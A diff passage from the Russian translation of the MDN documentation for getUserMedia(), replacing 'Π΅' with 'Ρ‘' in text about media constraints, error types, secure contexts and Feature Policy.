<p>РазличиС повСдСния происходит ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅Β ΡΠ»ΠΎΠ²Π°Β <code>min</code>, <code>max</code>, ΠΈΒ <code>exact</code>Β Β ΡΠ²Π»ΡΡŽΡ‚ΡΡΒ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ простыС значСния ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово  <code>ideal</code>Β - Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΡŽ. НиТС, ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -112,11 +112,11 @@ translation_of: Web/API/MediaDevices/getUserMedia
<pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
- <p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ строковоС свойство -Β Β <code>deviceId</code>Β (ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ устройства). Π•Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ ΠΈΠ·Β  ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("mediaDevices.enumerateDevices()")}}, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎ список, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ…ΡΡ Π½Π° машинС устройств, с ΠΈΡ… ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для запроса ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ устройства ΠΏΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ этого устройства:</p>
+ <p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ строковоС свойство -Β Β <code>deviceId</code>Β (ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ устройства). Π•Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΎ ΠΈΠ·Β  ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{domxref("mediaDevices.enumerateDevices()")}}, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π³ΠΎ список, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ…ΡΡ Π½Π° машинС устройств, с ΠΈΡ… ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для запроса ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ устройства ΠΏΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρƒ этого устройства:</p>
<pre class="brush: js notranslate">{ video: { deviceId: ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΡƒΠΆΠ½ΠΎΠΉΠšΠ°ΠΌΠ΅Ρ€Ρ‹ } }</pre>
- <p>Код Π²Ρ‹ΡˆΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ, Ссли трСбуСмая ΠΊΠ°ΠΌΠ΅Ρ€Π° нСдоступна. Для получСния доступа ΠΊ ΠΏΠΎΡ‚ΠΎΠΊΡƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹, Π±Π΅Π· Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ свойство  <code>exact</code>Β (Ρ‚ΠΎΡ‡Π½ΠΎ) :</p>
+ <p>Код Π²Ρ‹ΡˆΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡƒΡŽ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΊΠ°ΠΌΠ΅Ρ€Ρƒ, Ссли трСбуСмая ΠΊΠ°ΠΌΠ΅Ρ€Π° нСдоступна. Для получСния доступа ΠΊ ΠΏΠΎΡ‚ΠΎΠΊΡƒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹, Π±Π΅Π· Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ свойство  <code>exact</code>Β (Ρ‚ΠΎΡ‡Π½ΠΎ) :</p>
<pre class="brush: js notranslate">{ video: { deviceId: { exact: ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΡƒΠΆΠ½ΠΎΠΉΠšΠ°ΠΌΠ΅Ρ€Ρ‹ } } }</pre>
</dd>
@@ -136,7 +136,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
</dl>
<dl>
- <dt><code>NotAllowedError (Доступ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½)</code></dt>
+ <dt><code>NotAllowedError (Доступ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½)</code></dt>
<dd>Π’ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Ссли, ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… устройств Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Β Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² настоящСС врСмя. Π­Ρ‚ΠΎ происходит Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° контСкст Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° являСтся Π½Π΅ бСзопасным (страница Π±Ρ‹Π»Π° Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTP вмСсто HTTPS), Π° Ρ‚Π°ΠΊΠΆΠ΅, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΠ» доступ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ экзСмпляру Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊ устройству, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΠ°Π·Π°Π» Π² доступС Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссии, ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΠ°Π·Π°Π» Π² доступС ΠΊ мСдиаустройствам глобально. Для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΠ΅Π΄ΠΈΠ°Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΠΌΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ Β <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>, такая ошибка возвращаСтся Ссли Feature Policy Π½Π΅ сконфигурирована для Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ доступа ΠΊ мСдиаустройству ΠΈΠ»ΠΈ устройствам
<div class="note">Β Π‘ΠΎΠ»Π΅Π΅ старыС вСрсии спСцификации использовали вмСсто этого SecurityError. <code>SecurityError</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</div>
</dd>
@@ -146,7 +146,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<dd>Π₯отя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΈ прСдоставил Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… устройств, ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° аппаратная ошибка Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ Π²Π΅Π±-страницы, которая прСпятствовала доступу ΠΊ устройству..</dd>
<dt><code>OverconstrainedError (Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Π°ΠΌΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ)</code></dt>
<dd>Π’ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Ссли,Β Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π½Π΅ Π±Ρ‹Π»ΠΎ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ устройств, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΡ… Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΌ критСриям. Ошибка являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ Ρ‚ΠΈΠΏΠ° <code>OverconstrainedError</code> ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ свойство <code>constraint</code>, строковоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ ограничСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ, ΠΈ свойство <code>message</code>, содСрТащСС Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡƒΡŽ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎΠΌ строку, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.
- <div class="note">Ошибка ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π΄Π°ΠΆΠ΅, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Ρ‰Π΅ Π½Π΅ Π²Ρ‹Π΄Π°Π» Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС устройства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ΡΡ ΠΊΠ°ΠΊ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ° ΠΏΠ°Π»ΡŒΡ†Π°.</div>
+ <div class="note">Ошибка ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ΡŒ Π΄Π°ΠΆΠ΅, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Ρ‰Ρ‘ Π½Π΅ Π²Ρ‹Π΄Π°Π» Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС устройства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ΡΡ ΠΊΠ°ΠΊ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ° ΠΏΠ°Π»ΡŒΡ†Π°.</div>
</dd>
<dt><code>SecurityError (ошибка бСзопасности)</code></dt>
<dd>Π’ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Ссли, ΠΌΠ΅Π΄ΠΈΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Π² {{domxref("Document")}} Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β <code>getUserMedia()</code>. ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠ΅Π΄ΠΈΠ° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠΌΠΏΠ΅Ρ‚Π΅Π½Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
@@ -160,7 +160,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<p><code>getUserMedia()</code>Β -Β  это мощная функция, которая моТСт Π±Ρ‹Ρ‚ΡŒ использована Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² <a href="/en-US/docs/Web/Security/Secure_Contexts">бСзопасном контСкстС</a>Β . Π’ нСбСзопасном контСкстС, <code>navigator.mediaDevices</code>Β Ρ€Π°Π²Π½ΠΎΒ <code>undefined</code>, прСдотвращая доступ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ <code>getUserMedia()</code>. БСзопасный контСкст  - это, Ссли ΠΊΡ€Π°Ρ‚ΠΊΠΎ, страница, загруТаСмая ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ HTTPS ΠΈΠ»ΠΈΒ Β <code>file:///</code> URL схСмС, ΠΈΠ»ΠΈ страница, загруТаСмая ΠΈΠ· <code>localhost</code>.</p>
-<p>Π’ Π½Π΅ΠΌ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΊ доступу <code>audio</code>Β ΠΈΠ»ΠΈ <code>video</code> источникам. Волько контСкст докумСнта Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ источника ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ доступ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>getUserMedia()</code>. Если контСксту Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня явно Π½Π΅ даСтся Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β Π΄Π»Ρ Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ {{HTMLElement("iframe")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>,Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ Π²Ρ‹Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС устройств, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ Π·Π°ΠΏΡ€Π΅Ρ‚ Π² настройках Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Π’ Π½Π΅ΠΌ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΊ доступу <code>audio</code>Β ΠΈΠ»ΠΈ <code>video</code> источникам. Волько контСкст докумСнта Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня, ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ источника ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ доступ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>getUserMedia()</code>. Если контСксту Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня явно Π½Π΅ даётся Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β Π΄Π»Ρ Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ {{HTMLElement("iframe")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>,Β ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΎ Π²Ρ‹Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π½Π° использованиС устройств, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ Π·Π°ΠΏΡ€Π΅Ρ‚ Π² настройках Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ подробности Π½Π° Ρ‚Π΅ΠΌΡƒ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈ ΠΏΡ€Π°Π²ΠΈΠ», ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Ρ‹ Π² контСкстС выполняСмого ΠΊΠΎΠ΄Π°,Β ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ вопросами ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ бСзопасности Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ Π΄Π°Π»Π΅Π΅.</p>
@@ -182,7 +182,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<h4 id="Feature_Policy_Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ_ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°">Feature Policy (Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°)</h4>
-<p>Ѐункция ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>)Β ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° {{Glossary("HTTP")}} Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² процСссС ввСдСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ, доступной Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ стСпСни Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π½ΠΎ Π½Π΅ всСгда Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ Π² настройках ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠ°ΠΊ Π²Β  Β Firefox). ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>getUserMedia()</code>Β - ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΠΉ использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΌ ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π½ΠΈΠΌ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» доступСн Π²Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…Β Π½Π΅ высокого уровня, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒΒ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("allow", "iframe")}} Π½Π° элСмСнтС {{HTMLElement("iframe")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>getUserMedia()</code>, Π»ΠΈΠ±ΠΎΒ Β {{HTTPHeader("Feature-Policy")}}Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для страниц , ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΠΈΡ…ΡΡ с сСрвСра,Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <code>getUserMedia()</code>.</p>
+<p>Ѐункция ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒΡŽ (<a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a>)Β ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° {{Glossary("HTTP")}} Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² процСссС ввСдСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ, доступной Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠΉ стСпСни Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π½ΠΎ Π½Π΅ всСгда Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ Π² настройках ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠ°ΠΊ Π²Β  Β Firefox). ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>getUserMedia()</code>Β - ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΠΉ использования Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΈ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ΄Ρƒ 